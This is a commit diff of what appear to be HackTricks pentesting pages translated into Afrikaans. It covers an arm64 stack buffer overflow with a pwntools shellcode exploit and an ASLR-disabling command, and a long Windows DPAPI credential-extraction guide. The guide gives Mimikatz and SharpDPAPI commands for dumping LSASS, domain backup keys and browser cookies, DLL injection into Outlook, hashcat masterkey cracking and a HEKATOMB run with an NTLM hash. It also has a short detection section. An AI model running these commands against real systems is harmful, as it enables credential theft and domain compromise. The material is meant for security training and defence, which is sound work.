Translated ['src/windows-hardening/windows-local-privilege-escalation/dp

This commit is contained in:
Translator 2025-09-05 19:02:51 +00:00
parent 1b6e0ebace
commit e0ac555591
2 changed files with 104 additions and 89 deletions

View File

@ -4,12 +4,13 @@
Vind 'n inleiding tot arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Linux
### Kode
```c
#include <stdio.h>
#include <unistd.h>
@ -24,19 +25,19 @@ vulnerable_function();
return 0;
}
```
Compile sonder pie, canary en nx:
Kompileer sonder pie, canary en nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Geen ASLR & Geen kanarie - Stap Oorloop
### Geen ASLR & Geen canary - Stack Overflow
Om ASLR te stop, voer uit:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Om die [**offset van die bof te kry, kyk na hierdie skakel**](../ret2win/ret2win-arm64.md#finding-the-offset).
Om die [**offset van die bof, kyk na hierdie skakel**](../ret2win/ret2win-arm64.md#finding-the-offset).
Eksploiteer:
Exploit:
```python
from pwn import *
@ -67,8 +68,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Die enigste "kompleks" ding om hier te vind, sou die adres in die stapel wees om te bel. In my geval het ek die ontploffing gegenereer met die adres wat met gdb gevind is, maar toe dit ontplof is, het dit nie gewerk nie (omdat die stapeladres 'n bietjie verander het).
Die enigste "komplekse" ding om hier te vind sou die adres op die stack wees om aan te roep. In my geval het ek die exploit gegenereer met die adres wat met gdb gevind is, maar toe ek dit eksploiteer het het dit nie gewerk nie (omdat die stack-adres effens verander het).
Ek het die gegenereerde **`core` lêer** (`gdb ./bog ./core`) oopgemaak en die werklike adres van die begin van die shellcode nagegaan.
## macOS
> [!TIP]
> Dit is nie moontlik om NX in macOS uit te skakel nie omdat op arm64 hierdie modus op hardewarevlak geïmplementeer is, so jy kan dit nie uitskakel nie, daarom sal jy nie voorbeelde met shellcode op die stack in macOS vind nie.
Kyk na 'n macOS ret2win voorbeeld in:
{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}
Ek het die gegenereerde **`core`-lêer** (`gdb ./bog ./core`) oopgemaak en die werklike adres van die begin van die shellcode nagegaan.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# DPAPI - Uittrekking van wagwoorde
# DPAPI - Wagwoorde uittrek
{{#include ../../banners/hacktricks-training.md}}
@ -6,33 +6,33 @@
## Wat is DPAPI
Die Data Protection API (DPAPI) word hoofsaaklik binne die Windows-bedryfstelsel gebruik vir die **simbetriese enkripsie van asymmetriese private sleutels**, deur óf gebruiker- óf stelselgeheime as 'n belangrike bron van entropie te gebruik. Hierdie benadering vereenvoudig enkripsie vir ontwikkelaars deur hulle in staat te stel om data te enkripteer met 'n sleutel wat afgelei is van die gebruiker se aanmeldgeheime of, vir stelsel-enkripsie, die stelsel se domeinauthentiseringgeheime, sodat ontwikkelaars nie self die beskerming van die enkripsiesleutel hoef te bestuur nie.
Die Data Protection API (DPAPI) word hoofsaaklik binne die Windows-bedryfstelsel gebruik vir die **symmetriese enkripsie van asymmetriese private sleutels**, en maak gebruik van óf gebruiker- óf stelselgeheime as 'n belangrike bron van entropie. Hierdie benadering vereenvoudig enkripsie vir ontwikkelaars deur hulle in staat te stel om data te enkripteer met 'n sleutel wat afgelei is van die gebruiker se aanmeldgeheime of, vir stelsel-enkripsie, die stelsel se domeinverifikasie-geheime, sodat ontwikkelaars nie self die beskerming van die enkripsiesleutel hoef te bestuur nie.
Die algemeenste manier om DPAPI te gebruik is deur die **`CryptProtectData` en `CryptUnprotectData`** funksies, wat toepassings in staat stel om data veilig te enkripteer en te ontsleutel met die sessie van die proses wat tans aangemeld is. Dit beteken dat die geënkripteerde data slegs deur dieselfde gebruiker of stelsel ontsleutel kan word wat dit geënkripteer het.
Die mees algemene manier om DPAPI te gebruik is deur die **`CryptProtectData` and `CryptUnprotectData`** funksies, wat toepassings toelaat om data veilig te enkripteer en dekripteer met die sessie van die proses wat tans aangemeld is. Dit beteken dat die geënkripteerde data slegs gedekripteer kan word deur dieselfde gebruiker of stelsel wat dit geënkripteer het.
Verder aanvaar hierdie funksies ook 'n **`entropy` parameter** wat ook tydens enkripsie en ontsleuteling gebruik sal word; dus, om iets te ontsleutel wat met hierdie parameter geënkripteer is, moet jy dieselfde `entropy`-waarde verskaf wat tydens enkripsie gebruik is.
Verder aanvaar hierdie funksies ook 'n **`entropy` parameter** wat tydens enkripsie en dekripsie gebruik sal word, dus om iets te dekripteer wat met hierdie parameter geënkripteer is, moet jy dieselfde entropie-waarde verskaf wat tydens enkripsie gebruik is.
### Gebruiker-sleutelgenerering
### Gebruikersleutelgenerering
Die DPAPI genereer 'n unieke sleutel (genoem **`pre-key`**) vir elke gebruiker gebaseer op hul geloofsbriewe. Hierdie sleutel word afgelei van die gebruiker se wagwoord en ander faktore en die algoritme hang af van die soort gebruiker maar eindig as 'n SHA1. Byvoorbeeld, vir domeingebruikers **hang dit af van die NTLM-hash van die gebruiker**.
Die DPAPI genereer 'n unieke sleutel (genoem **`pre-key`**) vir elke gebruiker gebaseer op hul geloofsbriewe. Hierdie sleutel word afgelei van die gebruiker se wagwoord en ander faktore en die algoritme hang af van die tipe gebruiker maar eindig as 'n SHA1. Byvoorbeeld, vir domeingebruikers, **hang dit af van die NTLM hash van die gebruiker**.
Dit is veral interessant omdat as 'n aanvaller die gebruiker se wagwoord-hash kan bekom, hulle kan:
Dit is besonders interessant omdat as 'n aanvaller die gebruiker se wagwoord-hash kan bekom, hulle kan:
- **Ontsleutel enige data wat met DPAPI geënkripteer is** met daardie gebruiker se sleutel sonder om enige API te kontak
- **Enkripteer enige data wat met DPAPI geënkripteer is** met daardie gebruiker se sleutel sonder om enige API te kontak
- Probeer om die **wagwoord offline te kraak** deur te probeer om die geldige DPAPI-sleutel te genereer
Boonop, elke keer wanneer 'n gebruiker data met DPAPI enkripteer, word 'n nuwe **master key** gegenereer. Hierdie master key is die een wat eintlik gebruik word om data te enkripteer. Elke master key kry 'n **GUID** wat dit identifiseer.
Boonop, elke keer as 'n gebruiker data enkripteer met DPAPI, word 'n nuwe **master key** gegenereer. Hierdie master key is die een wat eintlik gebruik word om data te enkripteer. Elke master key kry 'n **GUID** (Globally Unique Identifier) wat dit identifiseer.
Die master sleutels word gestoor in die **%APPDATA%\Microsoft\Protect\<sid>\<guid>** gids, waar `{SID}` die Security Identifier van daardie gebruiker is. Die master key word gestoor versleuteld deur die gebruiker se **`pre-key`** en ook deur 'n **domain backup key** vir herstel (dus is dieselfde sleutel twee keer versleuteld deur twee verskillende sleutels).
Die master sleutels word gestoor in die **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** gids, waar `{SID}` die Security Identifier van daardie gebruiker is. Die master sleutel word geënkripteer gestoor deur die gebruiker se **`pre-key`** en ook deur 'n **domain backup key** vir herstel (dus word dieselfde sleutel twee keer geënkripteer gestoor met twee verskillende pas).
Neem kennis dat die **domeinsleutel wat gebruik word om die master key te enkripteer op die domain controllers is en nooit verander nie**, so as 'n aanvaller toegang tot die domain controller het, kan hulle die domein-backup sleutel verkry en die master sleutels van alle gebruikers in die domein ontsleutel.
Let daarop dat die **domein sleutel wat gebruik word om die master sleutel te enkripteer in die domain controllers is en nooit verander nie**, so as 'n aanvaller toegang tot die domain controller het, kan hulle die domein backup key herwin en die master sleutels van alle gebruikers in die domein dekripteer.
Die geënkripteerde blobs bevat die **GUID van die master key** wat gebruik is om die data binne hul headers te enkripteer.
Die geënkripteerde blobs bevat die **GUID van die master key** wat gebruik is om die data binne-in hul headers te enkripteer.
> [!TIP]
> DPAPI encrypted blobs starts with **`01 00 00 00`**
> DPAPI geënkripteerde blobs begin met **`01 00 00 00`**
Vind master sleutels:
Find master keys:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -41,41 +41,41 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```
Dit is hoe 'n klomp Master Keys van 'n gebruiker sal lyk:
This is what a bunch of Master Keys of a user will looks like:
![](<../../images/image (1121).png>)
### Machine/System sleutelgenerering
### Machine/System key generation
Dit is die sleutel wat deur die masjien gebruik word om data te enkripteer. Dit is gebaseer op die **DPAPI_SYSTEM LSA secret**, wat 'n spesiale sleutel is waartoe slegs die SYSTEM-gebruiker toegang het. Hierdie sleutel word gebruik om data te enkripteer wat deur die stelsel self beskikbaar moet wees, soos masjienvlak-inlogbesonderhede of stelselwye geheime.
Dit is die sleutel wat deur die masjien gebruik word om data te enkripteer. Dit is gebaseer op die **DPAPI_SYSTEM LSA secret**, wat 'n spesiale sleutel is waartoe slegs die SYSTEM-gebruiker toegang het. Hierdie sleutel word gebruik om data te enkripteer wat deur die stelsel self beskikbaar moet wees, soos masjienvlak-aanmeldbewyse of stelselwye geheime.
Let daarop dat hierdie sleutels **nie 'n domein-rugsteun het nie**, dus is hulle slegs plaaslik toeganklik:
Neem kennis dat hierdie sleutels **nie 'n domain backup het nie**, en dus slegs plaaslik toeganklik is:
- **Mimikatz** kan daartoe toegang kry deur LSA-sekrete te dump met die opdrag: `mimikatz lsadump::secrets`
- Die geheim word in die register gestoor, so 'n administrateur kan **die DACL-permissies wysig om toegang daartoe te kry**. Die registerpad is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- **Mimikatz** kan dit bekom deur LSA secrets te dump met die opdrag: `mimikatz lsadump::secrets`
- Die geheim word in die register gestoor, so 'n administrateur kan **DACL-permissies wysig om toegang daartoe te kry**. Die registerpad is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Data beskerm deur DPAPI
### Protected Data by DPAPI
Onder die persoonlike data wat deur DPAPI beskerm word, is:
- Windows-aanmeldbewyse
- Internet Explorer- en Google Chrome-wagwoorde en outo-aanvuldata
- Windows creds
- Internet Explorer- en Google Chrome-wagwoorde en outo-voltooiingsdata
- E-pos en interne FTP-rekeningwagwoorde vir toepassings soos Outlook en Windows Mail
- Wagwoorde vir gedeelde gidse, hulpbronne, draadlose netwerke, en Windows Vault, insluitend enkripsiesleutels
- Wagwoorde vir remote desktop-verbindinge, .NET Passport, en privaat sleutels vir verskeie enkripsie- en verifikasiedoeleindes
- Netwerkwagwoorde wat deur Credential Manager bestuur word en persoonlike data in toepassings wat CryptProtectData gebruik, soos Skype, MSN Messenger, en meer
- Geënkripteerde blobs binne die register
- Wagwoorde vir gedeelde vouers, hulpbronne, draadlose netwerke, en Windows Vault, insluitend enkripsiesleutels
- Wagwoorde vir remote desktop-verbindinge, .NET Passport, en private sleutels vir verskeie enkripsie- en verifikasiedoeleindes
- Netwerkwagwoorde wat deur Credential Manager bestuur word en persoonlike data in toepassings wat CryptProtectData gebruik, soos Skype, MSN messenger, en meer
- Gekodeerde blobs binne die register
- ...
Stelsel-beskermde data sluit in:
Stelselbeskermde data sluit in:
- WiFi-wagwoorde
- Wagwoorde vir geskeduleerde take
- Wagwoorde van geskeduleerde take
- ...
### Opsies vir Master key-uittrekking
### Master key extraction options
- As die gebruiker domeinadmin-regte het, kan hulle toegang kry tot die **domein-rugsteunsleutel** om alle gebruiker Master keys in die domein te ontsleutel:
- If the user has domain admin privileges, they can access the **domain backup key** to decrypt all user master keys in the domain:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -83,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- Met local admin privileges is dit moontlik om **access the LSASS memory** en sodoende die DPAPI master keys van al die gekoppelde gebruikers en die SYSTEM key uit te trek.
- Met local admin privileges is dit moontlik om **access the LSASS memory** om die DPAPI master keys van alle gekoppelde gebruikers en die SYSTEM key uit te trek.
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- Indien die gebruiker local admin privileges het, kan hulle toegang kry tot die **DPAPI_SYSTEM LSA secret** om die machine master keys te ontsleutel:
- As die gebruiker plaaslike adminregte het, kan hulle toegang kry tot die **DPAPI_SYSTEM LSA secret** om die machine master keys te ontsleutel:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
```
- As die wagwoord of die NTLM-hash van die gebruiker bekend is, kan jy **die gebruiker se master-sleutels direk ontsleutel**:
- As die password of hash NTLM van die gebruiker bekend is, kan jy **decrypt the master keys of the user directly**:
```bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- As jy binne 'n sessie as die gebruiker is, is dit moontlik om die DC te vra vir die **backup key to decrypt the master keys using RPC**. As jy local admin is en die gebruiker aangemeld is, kan jy **steal his session token** hiervoor:
- As jy binne 'n sessie as die gebruiker is, is dit moontlik om die DC te vra vir die **backup key to decrypt the master keys using RPC**. As jy local admin is en die gebruiker aangemeld is, kan jy daarvoor **steal his session token**:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -121,21 +121,21 @@ mimikatz vault::list
### Vind DPAPI-versleutelde data
Gewone gebruikers se **beskermde lêers** is in:
Gewoonlik word gebruikers se **beskermde lêers** gevind in:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- Kyk ook om `\Roaming\` na `\Local\` te verander in bogenoemde paaie.
- Kontroleer ook om `\Roaming\` na `\Local\` te verander in die bogenoemde paaie.
Voorbeelde van enumerasie:
Voorbeelde van enumerering:
```bash
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) kan DPAPI-geënkripteerde blobs in die lêerstelsel, register en B64-blobs vind:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) kan DPAPI-geënkripteerde blobs in die lêerstelsel, registry en B64-blobs vind:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -150,11 +150,11 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
Let daarop dat [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (van dieselfde repo) gebruik kan word om sensitiewe data soos cookies wat met DPAPI versleut is, te dekripteer.
Let wel dat [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (uit dieselfde repo) gebruik kan word om sensitiewe data wat met DPAPI versleuteld is, soos cookies, te ontsleutel.
### Toegangssleutels en data
- **Gebruik SharpDPAPI** om credentials uit DPAPI-versleutelde lêers van die huidige sessie te kry:
- **Gebruik SharpDPAPI** om inlogbewyse te kry uit DPAPI-geënkripteerde lêers van die huidige sessie:
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **Kry credentials-inligting** soos die geënkripteerde data en die guidMasterKey.
- **Kry credentials info** soos die encrypted data en die guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -173,9 +173,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
- **Toegang tot master-sleutels**:
- **Toegang tot masterkeys**:
Ontsleutel 'n master-sleutel van 'n gebruiker wat die **domein-rugsteun-sleutel** met behulp van RPC versoek:
Dekripteer 'n masterkey van 'n gebruiker wat die **domain backup key** versoek deur RPC:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
Die **SharpDPAPI** hulpmiddel ondersteun ook hierdie argumente vir masterkey-ontsleuteling (let daarop hoe dit moontlik is om `/rpc` te gebruik om die domein se rugsteunsleutel te kry, `/password` om 'n platteks-wagwoord te gebruik, of `/pvk` om 'n DPAPI-domein privaat sleutel-lêer te spesifiseer...):
Die **SharpDPAPI**-hulpmiddel ondersteun ook hierdie argumente vir masterkey decryption (let op hoe dit moontlik is om `/rpc` te gebruik om die domain se backup key te kry, `/password` om 'n plaintext password te gebruik, of `/pvk` om 'n DPAPI domain private key file te spesifiseer...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -195,7 +195,7 @@ Die **SharpDPAPI** hulpmiddel ondersteun ook hierdie argumente vir masterkey-ont
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
```
- **Dekripteer data met 'n masterkey**:
- **Decrypt data met 'n masterkey**:
```bash
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
Die **SharpDPAPI**-hulpmiddel ondersteun ook hierdie argumente vir `credentials|vaults|rdg|keepass|triage|blob|ps`-ontsleuteling (let daarop dat dit moontlik is om `/rpc` te gebruik om die domein se rugsteun-sleutel te kry, `/password` te gebruik vir 'n plat-tekst wagwoord, `/pvk` om 'n DPAPI-domein privaat-sleutel-lêer te spesifiseer, `/unprotect` om die huidige gebruiker se sessie te gebruik...):
Die **SharpDPAPI**-instrument ondersteun ook hierdie argumente vir die ontsleuteling van `credentials|vaults|rdg|keepass|triage|blob|ps` (let daarop dat dit moontlik is om `/rpc` te gebruik om die domein se rugsteunsleutel te kry, `/password` om 'n wagwoord in platte teks te gebruik, `/pvk` om 'n DPAPI-domein private key-lêer te spesifiseer, `/unprotect` om die huidige gebruiker se sessie te gebruik...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -222,7 +222,7 @@ Targeting:
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
```
- Ontsleutel sekere data met die **huidige gebruikersessie**:
- Ontsleutel sommige data met behulp van **huidige gebruikersessie**:
```bash
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
@ -231,11 +231,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### Hantering van Opsionele Entropy ("Third-party entropy")
### Hantering van Opsionele **entropy** ("Third-party entropy")
Sommige toepassings gee 'n addisionele **entropy**-waarde aan `CryptProtectData`. Sonder hierdie waarde kan die blob nie ontsleutel word nie, selfs al is die korrekte masterkey bekend. Die verkryging van die entropy is dus noodsaaklik wanneer jy op credentials mik wat op hierdie wyse beskerm word (bv. Microsoft Outlook, sommige VPN clients).
Sommige toepassings stuur 'n bykomende **entropy** waarde na `CryptProtectData`. Sonder hierdie waarde kan die blob nie gedekripteer word nie, selfs al is die korrekte masterkey bekend. Die verkryging van die **entropy** is daarom noodsaaklik wanneer jy fokus op credentials wat op hierdie wyse beskerm is (bv. Microsoft Outlook, sommige VPN-kliente).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) is 'n user-mode DLL wat die DPAPI funksies binne die teikenproses hook en deursigtig enige opsionele **entropy** wat verskaf word, registreer. Om EntropyCapture in **DLL-injection**-modus teen prosesse soos `outlook.exe` of `vpnclient.exe` te laat loop, sal 'n lêer uitvoer wat elke entropy-buffer aan die aanroepende proses en blob koppel. Die vasgelegde entropy kan later aan **SharpDPAPI** (`/entropy:`) of **Mimikatz** (`/entropy:<file>`) voorsien word om die data te ontsleutel.
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) is 'n user-mode DLL wat die DPAPI-funksies binne die teikenproses hook en deursigtig enige opsionele **entropy** wat voorsien word opneem. Deur EntropyCapture in DLL-injection mode teen prosesse soos `outlook.exe` of `vpnclient.exe` te laat loop, sal dit 'n lêer skep wat elke **entropy**-buffer aan die oproepende proses en blob koppel. Die vasgevangde **entropy** kan later aan **SharpDPAPI** (`/entropy:`) of **Mimikatz** (`/entropy:<file>`) voorsien word om die data te ontsleutel.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -243,9 +243,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys aflyn (Hashcat & DPAPISnoop)
### Cracking masterkeys vanlyn (Hashcat & DPAPISnoop)
Microsoft het 'n **context 3** masterkey-formaat geïntroduseer begin met Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) het hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) en **22102** (context 3) bygevoeg wat GPU-versnelde cracking van user passwords direk vanaf die masterkey-lêer moontlik maak. Aanvallers kan dus woordlys- of brute-force-aanvalle uitvoer sonder om met die teikenstelsel te kommunikeer.
Microsoft het 'n **context 3** masterkey-formaat bekendgestel, beginnende met Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) het hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) en **22102** (context 3) bygevoeg, wat GPU-accelerated cracking of user passwords directly from the masterkey file toelaat. Aanvallers kan dus word-list of brute-force attacks uitvoer sonder om met die target system te kommunikeer.
`DPAPISnoop` (2024) automatiseer die proses:
```bash
@ -253,11 +253,12 @@ Microsoft het 'n **context 3** masterkey-formaat geïntroduseer begin met Window
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Die tool kan ook Credential- en Vault-blobs ontleed, dit met gekraakte sleutels ontsleutel en cleartext passwords uitvoer.
Die hulpmiddel kan ook Credential- en Vault-blobs analiseer, dit met cracked keys ontsleutel en cleartext passwords uitvoer.
### Toegang tot data van 'n ander masjien
In **SharpDPAPI and SharpChrome** kan jy die **`/server:HOST`** opsie aandui om toegang tot 'n afgeleë masjien se data te kry. Uiteraard moet jy daardie masjien kan bereik, en in die volgende voorbeeld word aanvaar dat die **domain backup encryption key is known**:
### Toegang tot data van ander masjiene
In **SharpDPAPI and SharpChrome** kan jy die **`/server:HOST`** opsie aandui om toegang tot 'n afgeleë masjien se data te kry. Natuurlik moet jy daardie masjien kan bereik, en in die volgende voorbeeld word veronderstel dat die **domain backup encryption key is known**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
@ -266,51 +267,51 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) is 'n hulpmiddel wat die onttrekking van alle gebruikers en rekenaars uit die LDAP-gids en die onttrekking van die domain controller backup key deur RPC outomatiseer. Die script sal dan al die rekenaars se IP-adresse oplos en 'n smbclient op al die rekenaars uitvoer om al die DPAPI blobs van alle gebruikers te kry en alles met die domein-rugsteunsleutel te ontsleutel.
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) is 'n hulpmiddel wat die uittrekking van alle gebruikers en rekenaars uit die LDAP-gids en die uittrekking van domain controller backup key deur RPC outomatiseer. Die script sal dan alle rekenaars se IP-adresse oplos en 'n smbclient op alle rekenaars uitvoer om alle DPAPI blobs van alle gebruikers te verkry en alles met domain backup key te ontsleutel.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Met 'n uitgetrekte rekenaarlys uit LDAP kan jy elke subnetwerk vind, selfs al het jy nie daarvan geweet nie!
Met die uit die LDAP onttrekte rekenaarslys kan jy elke subnet vind selfs al het jy dit nie geken nie!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) kan geheime wat deur DPAPI beskerm word outomaties uithaal. Die 2.x vrystelling het die volgende ingesluit:
[**DonPAPI**](https://github.com/login-securite/DonPAPI) kan outomaties geheime wat deur DPAPI beskerm word dump. Die 2.x-uitgawe het die volgende geïntroduceer:
* Parallelle versameling van blobs vanaf honderde hosts
* Ontleding van **context 3** masterkeys en outomatiese Hashcat-krak-integrasie
* Ondersteuning vir Chrome "App-Bound" geïnkripteerde koekies (sien volgende afdeling)
* 'n nuwe **`--snapshot`**-modus om eindpunte herhaaldelik te peil en nuutgemaakte blobs te vergelyk
* Ontleding van **context 3** masterkeys en outomatiese Hashcat-krakingintegrasie
* Ondersteuning vir Chrome "App-Bound" encrypted cookies (sien volgende afdeling)
* 'n nuwe **`--snapshot`**-modus om herhaaldelik eindpunte te peil en nuut-geskepte blobs te diff
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) is 'n C#-parser vir masterkey/credential/vault-lêers wat Hashcat/JtR-formate kan uitset en opsioneel krakering outomaties kan aanroep. Dit ondersteun volledig masjien- en gebruiker-masterkey-formate tot Windows 11 24H1.
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) is 'n C#-ontleder vir masterkey/credential/vault-lêers wat Hashcat/JtR-formate kan uitvoer en opsioneel outomaties kraking kan aanroep. Dit ondersteun volledig machine- en user masterkey-formate tot Windows 11 24H1.
## Algemene deteksies
## Algemene opsporings
- Toegang tot lêers in `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` en ander DPAPI-verwante direktoriewe.
- Veral vanaf 'n netwerkdeel soos **C$** of **ADMIN$**.
- Toegang tot lêers in `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` en ander DPAPI-verwante gidse.
- Veral vanaf 'n netwerk-share soos **C$** of **ADMIN$**.
- Gebruik van **Mimikatz**, **SharpDPAPI** of soortgelyke gereedskap om toegang tot LSASS-geheue te kry of masterkeys te dump.
- Gebeurtenis **4662**: *An operation was performed on an object* kan gekorreleer word met toegang tot die **`BCKUPKEY`**-objek.
- Gebeurtenis **4673/4674** wanneer 'n proses *SeTrustedCredManAccessPrivilege* aanvra (Credential Manager)
- Gebeurtenis **4662**: *An operation was performed on an object* kan gekorreleer word met toegang tot die **`BCKUPKEY`**-voorwerp.
- Gebeurtenis **4673/4674** wanneer 'n proses die versoek doen van *SeTrustedCredManAccessPrivilege* (Credential Manager)
---
### 2023-2025 kwesbaarhede & ekosisteemveranderingen
### 20232025 kwesbaarhede en ekosisteemveranderinge
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023). 'n Aanvaller met netwerktoegang kon 'n domeinlid mislei om 'n kwaadwillige DPAPI-rugsteunsleutel te bekom, wat die ontsleuteling van gebruikers-masterkeys moontlik maak. Gepatch in die November 2023 kumulatiewe opdatering administrateurs moet verseker dat DCs en werkstasies volledig gepatch is.
* **Chrome 127 “App-Bound” cookie encryption** (July 2024) het die legacy DPAPI-only beskerming vervang met 'n bykomende sleutel wat onder die gebruiker se **Credential Manager** gestoor word. Aflyn-ontsleuteling van koekies vereis nou beide die DPAPI masterkey en die **GCM-wrapped app-bound key**. SharpChrome v2.3 en DonPAPI 2.x kan die ekstra sleutel herstel wanneer hulle in gebruiker-konteks hardloop.
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023). 'n Aanvaller met netwerktoegang kon 'n domain member mislei om 'n kwaadwillige DPAPI backup key te haal, wat dekripsie van user masterkeys toegelaat het. Gemaak reg in die November 2023 kumulatiewe opdatering administrateurs moet verseker dat DCs en workstations volledig gepatch is.
* **Chrome 127 “App-Bound” cookie encryption** (July 2024) het die ou DPAPI-only beskerming vervang met 'n bykomende sleutel wat onder die gebruiker se **Credential Manager** gestoor word. Offline-dekripsie van koekies vereis nou beide die DPAPI masterkey en die **GCM-wrapped app-bound key**. SharpChrome v2.3 en DonPAPI 2.x kan die ekstra sleutel herstel wanneer hulle in user context loop.
### Gevallestudie: Zscaler Client Connector Aangepaste entropie afgelei van SID
### Gevalstudie: Zscaler Client Connector Aangepaste entropie afgelei van SID
